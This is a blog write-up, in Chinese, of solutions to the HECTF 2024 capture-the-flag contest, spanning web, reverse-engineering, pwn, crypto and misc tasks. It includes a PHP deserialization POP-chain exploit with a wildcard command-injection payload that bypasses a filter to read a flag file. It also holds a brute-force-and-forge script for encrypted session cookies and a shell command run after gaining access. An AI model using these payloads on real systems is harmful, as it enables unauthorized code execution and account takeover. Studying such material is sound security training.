河北师范大学第八届信息安全挑战赛 WriteUp
河北师范大学第八届信息安全挑战赛 WriteUp
WEB
Are u happy
找到/api/js
内的game.js
,发现一串Base64编码的文本,解码即为flag.
baby_unserialize
切入点在于User
类的__construct()
和__destruct()
,因此从这里开始构造pop链. 为了使token
变量值为admin
且不被__wakeup()
更改,需要把最终序列化的内容完整性破坏,使其反序列化不成功(类似于php的垃圾回收机制,下面会具体讲如何更改序列化字符串).
接下来出现echo
就要去找__toString()
,发现class01
类包含. 于是链接到class01
.
接下来调用了一个不存在的函数func1()
,就去找__get()
或者__call()
. 发现class00
内存在__call()
,链接到这里.
这里返回了1,就会执行下面的赋值操作. 对不存在的str1
进行赋值,会触发class00
内的__set()
函数. 发现将赋值内容当作函数调用,那么就找__invoke()
. 在class02
中找到了__invoke()
,链接到这里.
这个payload
封得很死. 但是有一个正则匹配没有被禁止,就是[abc]
代表匹配a
、b
、c
中的任一字符. 这也适用于程序运行,只是需要完整的程序路径. 由于[
、]
、/
均未被限制,因此可构造出payload
:
/bin/ca[t] /fla[g] #
末尾的#
将后面的内容注释以让输出显示在网页上.
构造代码:
<?php
class User{
public $name;
public $passwd;
public $msg;
public $token;
public function __construct(){
$this->name="admin";
$this->passwd="admin";
$this->token="admin";
}
}
class class00{
}
class class01{
public $temp=0;
public $str3;
public $cls;
}
class class02{
public $payload;
}
$a=new User();
$b=new class01();
$c=new class00();
$d=new class02();
$d->payload="/bin/ca[t] /fla[g] #";
$b->str3=$d;
$b->cls=$c;
$a->msg=$b;
echo serialize($a);
?>
// O:4:"User":4:{s:4:"name";s:5:"admin";s:6:"passwd";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:20:"/bin/ca[t] /fla[g] #";}s:3:"cls";O:7:"class00":0:{}}s:5:"token";s:5:"admin";}
这里将序列化后User
类的项数增加1,即由4改变为5就能使完整性被破坏(因为项数不匹配了),避免触发__wakeup()
. 将修改后的字符串经过Base64编码即可.
ezweb
首先打开开发工具,将注释里的内容进行Base64解码,查看对应的函数.
第一步是md5弱比较,用0e
绕过;第二步是md5强比较,用数组或者碰撞绕过;第三步,提示文本是hectf2024
,但是不知道字母的大小写,那么可以根据一个脚本跑这32种情况解出对应的文本.
接下来给出了一个解密session
的代码,虽然key
是随机的,但是种子的范围很小,可以进行爆破. 爆破所得的是一串序列化文本,将其中的guest
改为admin
,再次进行加密,更改cookie并发送请求即可获得flag.
爆破运行的代码:
<?php
function session_decrypt($session,$key){
$data=base64_decode($session);
$method='AES-256-CBC';
$iv_size=openssl_cipher_iv_length($method);
$iv=substr($data,0,$iv_size);
$enc=substr($data,$iv_size);
return openssl_decrypt($enc, $method, $key, 1, $iv);
}
$session="cAVQ3Rj2B26JBY2/zJZTfQcjdLCeBz6XTf1ShPbkQI71rJxMV43Dya/V7+Jb5gdDV+m20B4U1rADwjZATnoc6Pn5nXtUEg+mfjTq+3wAGp7FqPY2XEVvZ0440B3AvxRF";
for($i=1e5;$i<=1e7;$i++)
{
mt_srand($i);
$key=rand();
$t=session_decrypt($session,$key);
if($t[0]!="")
{
echo $i;
echo ' ';
echo $t;
echo PHP_EOL;
}
}
爆破结果:
重新加密运行的代码:
<?php
function session_decrypt($session,$key){
$data = base64_decode($session);
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = substr($data,0,$iv_size);
$enc = substr($data,$iv_size);
return openssl_decrypt($enc, $method, $key, 1, $iv);
}
function session_encrypt($data, $key) {
$method = 'AES-256-CBC';
$iv_size = openssl_cipher_iv_length($method);
$iv = openssl_random_pseudo_bytes($iv_size);
$encrypted = openssl_encrypt($data, $method, $key, 1, $iv);
$result = base64_encode($iv . $encrypted);
return $result;
}
$session="O:4:\"User\":2:{s:8:\"username\";s:5:\"admin\";s:4:\"role\";s:5:\"admin\";}";
$i=4298474;
{
mt_srand($i);
$key = rand();
$t=session_encrypt($session,$key);
{
echo $i;
echo ' ';
echo $key;
echo ' ';
echo $t;
echo PHP_EOL;
}
echo session_decrypt($t,$key);
}
刷新页面后出现一张图片,打开开发工具,在图片位置前面的注释里获得flag.
RE
littleasm
读汇编语言. 将其中的信息提取,可以反汇编出如下代码:
#include <stdio.h>
#include <string.h>
char flag[28];
const char key[]="rev";
const unsigned char data[]=
{
0x6a, 0x28, 0x3d, 0x4e, 0x2b, 0x05, 0x63, 0x1e, 0x0d, 0x73, 0x10, 0x1c,
0x73, 0x24, 0x21, 0x73, 0x5e, 0x21, 0x31, 0x5d, 0x21, 0x3f, 0x0c, 0x0d,
0x6d, 0x4c, 0x03
};
const char msg_wrong[]="WRONG!!!\n";
const char msg_right[]="Right!!\n";
void encrypt_flag()
{
for (int ecx=0;ecx<27;ecx+=3)
{
int edx=(ecx+2)%3;
unsigned char esi=key[edx]^flag[ecx]+0x2C;
data[ecx]=esi;
edx=(ecx+1)%3;
esi=key[edx]^flag[ecx+1]+0x08;
data[ecx+1]=esi;
esi=key[edx]^flag[ecx+2]^0x0C;
data[ecx+2]=esi;
}
}
int check_flag()
{
for (int ecx=0;ecx<27;ecx++) if (flag[ecx]!=data[ecx]) return 1;
return 0;
}
int main()
{
printf("Enter the flag: ");
scanf("%27s",flag);
encrypt_flag();
if(check_flag()==0) printf("%s",msg_right);
else printf("%s",msg_wrong);
return 0;
}
根据encrypt
函数可以写出decrypt
函数:
void decrypt_flag()
{
for (int ecx=0;ecx<27;ecx+=3)
{
int edx=(ecx+2)%3;
data[ecx]-=0x2c;
data[ecx]=data[ecx]^key[edx];
edx=(ecx+1)%3;
data[ecx+1]-=0x08;
data[ecx+1]=data[ecx+1]^key[edx];
edx=ecx%3;
data[ecx+2]^=0x0c;
data[ecx+2]=data[ecx+2]^key[edx];
}
}
用该函数解密即得flag.
babyre
定位到sub_1920
和sub_17A7
函数有实际意义. 其中前面的函数就是一个Base64编码的函数,并更换了编码表;后面的函数执行了一个异或操作.
因此先进行异或,再用Base64解码即可得到flag.
执行异或的代码:
#include<stdio.h>
char s[]={0x51,0x43,0x54,0x43,0x55,0x42,0x5A,0x76,0x4F,0x46,0x48,0x73,0x5C,0x46,0x7D,0x6B,0x4E,0x50,0x55,0x68,0x51,0x55,0x7D,0x3E,0x45,0x5D,0x43,0x67,0x45,0x3E,0x3B,0x3D,0x47,0x49,0x53,0x20,0x54,0x59,0x43,0x60,0x40,0x5F,0x49,0x7E,0x45,0x38,0x75,0x38,0x47,0x7C,0x25,0x29,0x5A,0x7D,0x59,0x63,0x5F,0x46,0x57,0x38,0x5F,0x42,0x79,0x28};
int main()
{
for(int i=0;i<64;i++) s[i]=(s[i])^(i/3);
puts(s);
return 0;
}
编码表:
yzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/abcdefghijklmnopqrstuvwx
PE?py?
使用pyinstxtractor
解pyre.exe
程序并反编译其中的pyre.pyc
文件,可获得压缩包密码.
解出来之后的程序有一个encrypt
函数,如题目所知,不难猜测其为xtea加密,其中的密文和密钥都是八位一组的,并且由于计算机的存储顺序,需要将每两个一组翻转一下.
以下为解密代码:
#include<stdio.h>
unsigned ll keys[]={0x54434548, 0x32303246, 0x69617734, 0x756F7974};
unsigned ll data[]={0xDF596194, 0x2CFE74D6, 0x1355AE4D, 0xB6717A87, 0xF27BB57B, 0x08D436C5, 0xC5C8E1AF, 0x0A85BD8F, 0x19A70032, 0x400CFEF4, 0xAF02E1FC, 0xCDEDCFB4};
unsigned char decrypted[80];
void xtea_decrypt(uint32_t *v, const uint32_t *key,unsigned int m) {
uint32_t sum=-1*1640531527*32;
uint32_t v0=v[m],v1=v[m+1];
for(unsigned int i=0;i<32;i++)
{
v1-=(((v0<<4)^(v0>>5))+v0)^(sum+key[(sum>>11)&3]);
sum+=1640531527;
v0-=(((v1<<4)^(v1>>5))+v1)^(sum+key[sum&3]);
}
v[m]=v0;
v[m+1]=v1;
}
int main()
{
for(int i=0;i<=10;i+=2) xtea_decrypt(data,keys,i);
for(int i=0;i<11;i++)
{
decrypted[i*4]=(data[i]&0xFF);
decrypted[i*4+1]=(data[i]>>8);
decrypted[i*4+2]=(data[i]>>16);
decrypted[i*4+3]=(data[i]>>24);
}
puts(decrypted);
return 0;
}
PWN
sign in
前面登录随便输入几个字母,后面的输入HECTF2024!
,即可获得shell. 由于关闭了输出流,可以将其重定向到标准错误流里就可以看到信息了.
cat /flag 1>&2
CRYPTO
迷茫的艾米莉
W型栅栏密码+维吉尼亚加密.
栅栏栏数为6,维吉尼亚密钥为题目中的responsibility
.
seven more
发现题目里的 和 不互素,且 很大,因此可以考虑使用AMM算法.
from Crypto.Util.number import *
import random
import time
from tqdm import tqdm
from Crypto.Util.number import *
def AMM(o, r, q):
start = time.time()
print('\nStart to run Adleman-Manders-Miller Root Extraction Method')
print('Try to find one {:#x}th root of {} modulo {}'.format(r, o, q))
g = GF(q)
o = g(o)
p = g(random.randint(1, q))
while p ^ ((q-1) // r) == 1:
p = g(random.randint(1, q))
print('[+] Find p:{}'.format(p))
t = 0
s = q - 1
while s % r == 0:
t += 1
s = s // r
print('[+] Find s:{}, t:{}'.format(s, t))
k = 1
while (k * s + 1) % r != 0:
k += 1
alp = (k * s + 1) // r
print('[+] Find alp:{}'.format(alp))
a = p ^ (r**(t-1) * s)
b = o ^ (r*alp - 1)
c = p ^ s
h = 1
for i in range(1, t):
d = b ^ (r ^ (t-1-i))
if d == 1:
j = 0
else:
print('[+] Calculating DLP...')
j = - discrete_log(d, a)
print('[+] Finish DLP...')
b = b * (c ^ r) ^ j
h = h * c ^ j
c = c ^ r
result = o ^ alp * h
end = time.time()
print("Finished in {} seconds.".format(end - start))
print('Find one solution: {}'.format(result))
return result
def onemod(p, r):
t = random.randint(2, p)
while pow(t, (p-1)//r, p) == 1:
t = random.randint(2, p)
return pow(t, (p-1)//r, p)
def solution(p, root, e):
while True:
g = onemod(p, e)
may = []
for i in tqdm(range(e)):
may.append(root*pow(g, i, p) % p)
if len(may) == len(set(may)):
return may
def solve_in_subset(ep, p):
cp = int(pow(c, inverse(int(e//ep), p-1), p))
com_factors = []
while GCD(ep, p-1) != 1:
com_factors.append(GCD(ep, p-1))
ep //= GCD(ep, p-1)
com_factors.sort()
cps = [cp]
for factor in com_factors:
mps = []
for cp in cps:
mp = AMM(cp, factor, p)
mps += solution(p, mp, factor)
cps = mps
for each in cps:
assert pow(each, e, p) == c % p
return cps
e = 1009 * 7
n = 211174039496861685759253930135194075344490160159278597570478160714793843648384778026214533259531963057737358092962077790023796805017455012885781079402008604439036453706912819711606916173828620000813663524065796636039272173716362247511054616756763830945978879273812551204996912252317081836281439680223663883250992957309172746671265758427396929152878633033380299036765665530677963287445843653357154379447802151146728382517702550201
c = 191928992610587693825282781627928404831411364407297375816921425636703444790996279718679090695773598752804431891678976685083991392082287393228730341768083530729456781668626228660243400914135691435374881498580469432290771039798758412160073826112909167507868640830965603769520664582121780979767127925146139051005022993085473836213944491149411881673257628267851773377966008999511673741955131386600993547529438576918914852633139878066
p = 31160882390461311665815471693453819123352546432384109928704874241292707178454748381602275005604671000436222741183159072136366212086549437801626015758789167455043851748560416003501637268653712148286072544482747238223
q = 6776895366785389188349778634427547683984792095011326393872759455291221057085426285502176493658280343252730331506803173791893339840460125807960788857396637337440004750209164671124188980183308151635629356496128717687
ep = GCD(e, p-1)
eq = GCD(e, q-1)
m_p = solve_in_subset(ep, p)
m_q = solve_in_subset(eq, q)
for mpp in m_p:
for mqq in m_q:
m = crt([int(mpp), int(mqq)], [p, q])
flag = long_to_bytes(m)
if b'HECTF' in flag:
print(flag)
break
翻一翻
反素数问题,应用递归思想求解.
求解和:
from Crypto.Util.number import *
n = 404647938065363927581436797059920217726808592032894907516792959730610309231807721432452916075249512425255272010683662156287639951458857927130814934886426437345595825614662468173297926187946521587383884561536234303887166938763945988155320294755695229129209227291017751192918550531251138235455644646249817136993
def t(a, b, k):
# sqrt(n) has 155 digits, so we need to figure out 77 digits on each side
if k == 77:
if a*b == n:
print (a, b)
return
for i in range(10):
for j in range(10):
# we try to guess the last not-already-guessed digits of both primes
a1 = a + i*(10**k) + j*(10**(154-k))
b1 = b + j*(10**k) + i*(10**(154-k))
if a1*b1 > n:
# a1 and b1 are too large
continue
if (a1+(10**(154-k)))*(b1+(10**(154-k))) < n:
# a1 and b1 are too small
continue
if ((a1*b1)%(10**(k+1))) != (n%(10**(k+1))):
# The last digits of a1*b1 (which won't change later) doesn't match n
continue
# this a1 and b1 seem to be a possible match, try to guess remaining digits
t(a1, b1, k+1)
# the primes have odd number of digits (155), so we try all possible middle digits (it simplifies the code)
for i in range(10):
t(i*(10**77), i*(10**77), 0)
RSA解密:
from Crypto.Util.number import *
n = 404647938065363927581436797059920217726808592032894907516792959730610309231807721432452916075249512425255272010683662156287639951458857927130814934886426437345595825614662468173297926187946521587383884561536234303887166938763945988155320294755695229129209227291017751192918550531251138235455644646249817136993
p=10292087691982642720325133979832850482001819947229043122246451685759305199660300816512137527737218130417905422918772717257270992977795519872828056890461393
q=39316409865082827891559777929907275271727781922450971403181273772573121561800306699150395758615464222134092274991810028405823897933152302724628919678029201
e=65537
c = 365683379886722889532600303686680978443674067781851827634350197114193449886360409198931986483197030101273917834823409997256928872225094802167525677723275059148476025160768252077264285289388640035034637732158021710365512158554924957332812612377993122491979204310133332259340515767896224408367368108253503373778
phi=(p-1)*(q-1)
d=inverse(e,phi)
print(long_to_bytes(pow(c,d,n)))
# SEVDVEZ7SV9yZWExbHlfbDB2ZV9jMnlwdG8hfQ==
MISC
2024HECTF俺来了!!!
关注凌武科技公众号,发送2024HECTF俺来辣!!!
,有神秘惊喜!!!
快来反馈吧!!
答题.
funny
可以看到一个标志性的建筑物 JK FUN,立即定位到西外文化休闲广场;然后根据后面的图片搜索,可以定位到动物园的隔音屏隧道附近;最终通过尝试得出为京城水系慈禧水道.
Rem_You
图片隐写. 很明显图片后面连接了一个压缩包,后缀改为.zip
打开,有九个二维码碎片. 用ppt拼接一下,扫一扫即可获得Base64编码后的flag. 解码即可.
简单的压缩包
通过观察正则表达式,可以推断密码为两个小写字母+数字+一个符号构成. 手写一个程序生成字典,用ARCHPR爆破,约40分钟可获得密码np76_
.
里面有一张隐写的图片,用hex编辑器打开,将后面连接的压缩包文本拷贝到另一个文件里,打开这个压缩包,有一个无效的zip和一个python
文件,这个文件的内容是加密压缩包的. 因此构造一个脚本解密这个压缩包即可获得flag.
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import binascii
def decrypt(key, iv):
ct = binascii.a2b_hex(content)
cipher2 = AES.new(key, AES.MODE_CBC, iv)
pt = cipher2.decrypt(ct)
data = unpad(pt, 16)
return data
with open("zip.zip","rb") as f:
content = f.read()
key = b"abcdefghijklmnop"
iv = b"qwertyuiopasdfgh"
en = decrypt(key,iv)
with open("zip2.zip","wb") as f:
f.write(en)
恶势力的仓库
题目里给了一个流量文件,通过查看其中的http
请求获得部分提示. 其中包含登录平台的过程与登录后上传文件getshell
并查看服务器文件的内容.
获取的部分内容中有访问的服务器系统信息、部分目录内容、一个gif
文件、一个png
文件还有一个7z
压缩包.
前3个对于解题没有帮助;最后一个里面一定藏有flag;倒数第二个是提示:密码在前面出现过.
经过尝试发现密码是前面登录系统时所用的密码. 注意登录页面的js
代码,它将密码进行了编码之后才发送的请求,密码需要根据js
的内容解码.
将压缩包内文件提取,获得一个文件机密文件.xlsx
. 打开后发现单元格内的数据是0
或1
,尝试利用条件格式将值为1
的单元格设置为黑色填充.
将表格缩小,发现是一个二维码,调整一下列宽之后,扫一扫即可获得flag.
--END--
我的博客: 𝟷𝙻𝚒𝚞
本文链接: https://www.cnblogs.com/AC1Liu/p/18595200
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!